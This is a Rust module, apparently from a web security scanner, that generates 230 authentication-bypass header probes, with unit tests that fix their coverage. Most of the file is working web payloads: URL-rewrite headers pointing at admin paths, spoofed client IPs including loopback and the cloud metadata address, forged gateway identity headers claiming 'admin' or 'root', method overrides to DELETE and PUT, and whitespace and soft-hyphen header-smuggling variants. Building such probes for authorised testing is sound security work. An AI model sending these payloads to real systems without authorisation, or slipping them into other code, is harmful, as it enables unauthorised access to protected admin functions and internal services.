#[derive(Debug, Clone, PartialEq, Eq)]
pub struct AuthBypassProbe {
pub header: String,
pub value: String,
pub label: &'static str,
pub description: &'static str,
}
pub const AUTH_BYPASS_PROBE_COUNT: usize = 230;
#[must_use]
pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
let mut out = Vec::with_capacity(AUTH_BYPASS_PROBE_COUNT);
for header in [
"X-Original-URL",
"X-Rewrite-URL",
"X-Override-URL",
"X-HTTP-Destination",
"Original-URL",
"X-Forwarded-Path",
] {
out.push(AuthBypassProbe {
header: header.to_string(),
value: target_path.to_string(),
label: "url-rewrite-header",
description: "WAF passes header through; backend rewrites URL to target",
});
}
let trusted_ips = [
"127.0.0.1",
"::1",
"localhost",
"10.0.0.1",
"192.168.0.1",
"172.16.0.1",
"169.254.169.254", ];
let ip_headers = [
"X-Forwarded-For",
"X-Real-IP",
"X-Originating-IP",
"X-Client-IP",
"X-Remote-IP",
"X-Remote-Addr",
"Forwarded", "True-Client-IP", "CF-Connecting-IP",
"Fastly-Client-IP",
"X-Cluster-Client-IP",
"Client-IP",
];
for h in ip_headers {
for ip in trusted_ips {
let value = if h.eq_ignore_ascii_case("Forwarded") {
if ip.contains(':') && !ip.starts_with('[') {
format!(r#"for="[{ip}]""#)
} else if ip.parse::<std::net::IpAddr>().is_err() {
let obf: String = ip
.chars()
.filter(|c| c.is_ascii_alphanumeric() || *c == '_')
.collect();
format!("for=_{obf}")
} else {
format!("for={ip}")
}
} else {
ip.to_string()
};
out.push(AuthBypassProbe {
header: h.to_string(),
value,
label: "ip-trust-spoof",
description: "Backend trusts header for IP-based authorization",
});
}
}
for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: v.to_string(),
label: "host-trust-override",
description: "Origin uses header for vhost/internal-call routing",
});
}
}
for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
for h in [
"X-HTTP-Method-Override",
"X-HTTP-Method",
"X-Method-Override",
"_method", ] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: value.to_string(),
label: "method-override",
description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
});
}
}
for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
for v in ["http", "https"] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: v.to_string(),
label: "scheme-trust",
description: "Origin uses header to decide HTTPS-only enforcement",
});
}
}
for h in [
"Cf-Access-Authenticated-User-Email", "Cf-Access-Jwt-Assertion",
"X-Goog-Authenticated-User-Email", "X-Goog-Iap-Jwt-Assertion",
"X-Amzn-Oidc-Identity", "X-Amzn-Oidc-Data",
"X-Ms-Client-Principal-Name", "X-Ms-Client-Principal-Id",
"X-Ms-Token-Aad-Id-Token",
"X-Authentik-Username", "X-Authentik-Groups",
"X-Auth-Request-User", "X-Auth-Request-Email",
"X-Auth-Request-Groups",
"X-Forwarded-User", "X-Forwarded-Email",
"X-Forwarded-Groups",
"X-Webauth-User", ] {
for v in [
"admin",
"admin@example.com",
"root",
"root@localhost",
"administrator@internal",
] {
out.push(AuthBypassProbe {
header: h.to_string(),
value: v.to_string(),
label: "gateway-identity-spoof",
description: "Backend trusts gateway-injected identity header without verifying upstream signature",
});
}
}
for variant in [
" X-Real-IP", "X-Real-IP\t", "X\u{00ad}Real-IP", "X-Real_IP", ] {
out.push(AuthBypassProbe {
header: variant.to_string(),
value: "127.0.0.1".to_string(),
label: "header-smuggle-lws",
description: "Whitespace / case / underscore variant of a trusted header — exploits WAF↔backend normalisation gap",
});
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn url_rewrite_family_targets_user_path() {
let probes = auth_bypass_probes("/admin/users");
let rewrite = probes
.iter()
.filter(|p| p.label == "url-rewrite-header")
.collect::<Vec<_>>();
assert!(rewrite.len() >= 6, "missing rewrite-header variants");
for p in rewrite {
assert_eq!(
p.value, "/admin/users",
"{} did not carry user path",
p.header
);
}
}
#[test]
fn x_original_url_present() {
let probes = auth_bypass_probes("/admin");
assert!(
probes
.iter()
.any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
"missing canonical X-Original-URL probe"
);
}
#[test]
fn ip_trust_includes_loopback_and_metadata() {
let probes = auth_bypass_probes("/x");
let ip = probes
.iter()
.filter(|p| p.label == "ip-trust-spoof")
.collect::<Vec<_>>();
assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
assert!(
ip.iter()
.any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
);
}
#[test]
fn method_override_offers_destructive_methods() {
let probes = auth_bypass_probes("/x");
let methods: Vec<&str> = probes
.iter()
.filter(|p| p.label == "method-override")
.map(|p| p.value.as_str())
.collect();
for m in ["PUT", "DELETE", "PATCH"] {
assert!(methods.contains(&m), "method {m} not in override probes");
}
}
#[test]
fn forwarded_host_includes_internal() {
let probes = auth_bypass_probes("/x");
assert!(
probes.iter().any(|p| p.header == "X-Forwarded-Host"
&& (p.value == "localhost" || p.value == "internal"))
);
}
#[test]
fn no_probe_has_empty_header_or_value() {
for p in auth_bypass_probes("/x") {
assert!(!p.header.is_empty(), "empty header in probe");
assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
}
}
#[test]
fn probes_have_unique_header_value_pairs() {
let probes = auth_bypass_probes("/admin");
let mut seen = std::collections::HashSet::new();
for p in &probes {
let key = (p.header.to_lowercase(), p.value.clone());
assert!(
seen.insert(key.clone()),
"duplicate (header, value) pair: {key:?}"
);
}
}
#[test]
fn header_smuggle_lws_family_contains_known_rfc_illegal_shapes() {
let probes = auth_bypass_probes("/admin");
let smuggle: Vec<&AuthBypassProbe> = probes
.iter()
.filter(|p| p.label == "header-smuggle-lws")
.collect();
assert!(
smuggle.len() >= 4,
"header-smuggle-lws family must contain at least 4 variants"
);
assert!(
smuggle.iter().any(|p| p.header == " X-Real-IP"),
"leading-space variant missing"
);
assert!(
smuggle.iter().any(|p| p.header == "X-Real-IP\t"),
"trailing-tab variant missing"
);
assert!(
smuggle.iter().any(|p| p.header.contains('\u{00ad}')),
"soft-hyphen variant missing"
);
assert!(
smuggle.iter().any(|p| p.header == "X-Real_IP"),
"underscore variant missing"
);
}
#[test]
fn total_probe_count_locked() {
let probes = auth_bypass_probes("/x");
assert_eq!(
probes.len(),
AUTH_BYPASS_PROBE_COUNT,
"auth_bypass_probes count drift"
);
}
}